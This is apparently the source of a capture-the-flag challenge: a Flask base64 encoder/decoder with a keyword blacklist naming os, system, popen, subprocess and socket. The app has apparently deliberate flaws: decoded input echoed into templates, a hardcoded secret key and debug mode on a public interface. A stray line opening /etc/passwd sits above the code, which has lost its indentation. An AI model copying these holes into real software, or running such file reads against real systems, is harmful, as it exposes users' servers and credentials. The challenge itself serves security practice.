open('/etc/passwd/')
给chef美化一下
from flask import Flask, render_template_string, render_template, request, flash, redirect, url_for
from flask_wtf import FlaskForm
from wtforms import StringField, SubmitField
from wtforms.validators import DataRequired
from flask_bootstrap import Bootstrap
import base64
app = Flask(__name__)
app.config['SECRET_KEY'] = 's_e_c_r_e_t_k_e_y'
bootstrap = Bootstrap(app)
class NameForm(FlaskForm):
text = StringField('BASE64加密', validators=[DataRequired()])
submit = SubmitField('提交')
class NameForm1(FlaskForm):
text = StringField('BASE64解密', validators=[DataRequired()])
submit = SubmitField('提交')
def waf(str_val):
black_list = ["flag", "os", "system", "popen", "import", "eval", "chr", "request", "subprocess", "commands", "socket",
"hex", "base64", "*", "?"]
for x in black_list:
if x in str_val.lower():
return 1
return 0
@app.route('/hint', methods=['GET'])
def hint():
txt = "失败乃成功之母!!"
return render_template("hint.html", txt=txt)
@app.route('/', methods=['POST', 'GET'])
def encode():
if request.values.get('text'):
text = request.values.get("text")
text_encoded = base64.b64encode(text.encode())
tmp = f"结果 :{text_encoded.decode()}"
flash(tmp)
return redirect(url_for('encode'))
else:
form = NameForm()
return render_template("index.html", form=form, method="加密", img="flask.png")
@app.route('/decode', methods=['POST', 'GET'])
def decode():
if request.values.get('text'):
text = request.values.get("text")
try:
text_decoded = base64.b64decode(text.encode())
tmp = f"结果 : {text_decoded.decode()}"
if waf(tmp):
flash("no no no !!")
return redirect(url_for('decode'))
flash(tmp)
except base64.binascii.Error:
flash("输入的不是有效的 Base64 编码字符串")
return redirect(url_for('decode'))
else:
form = NameForm1()
return render_template("index.html", form=form, method="解密", img="flask1.png")
@app.route('/<name>', methods=['GET'])
def not_found(name):
return render_template("404.html", name=name)
if __name__ == '__main__':
app.run(host="0.0.0.0", port=5000, debug=True)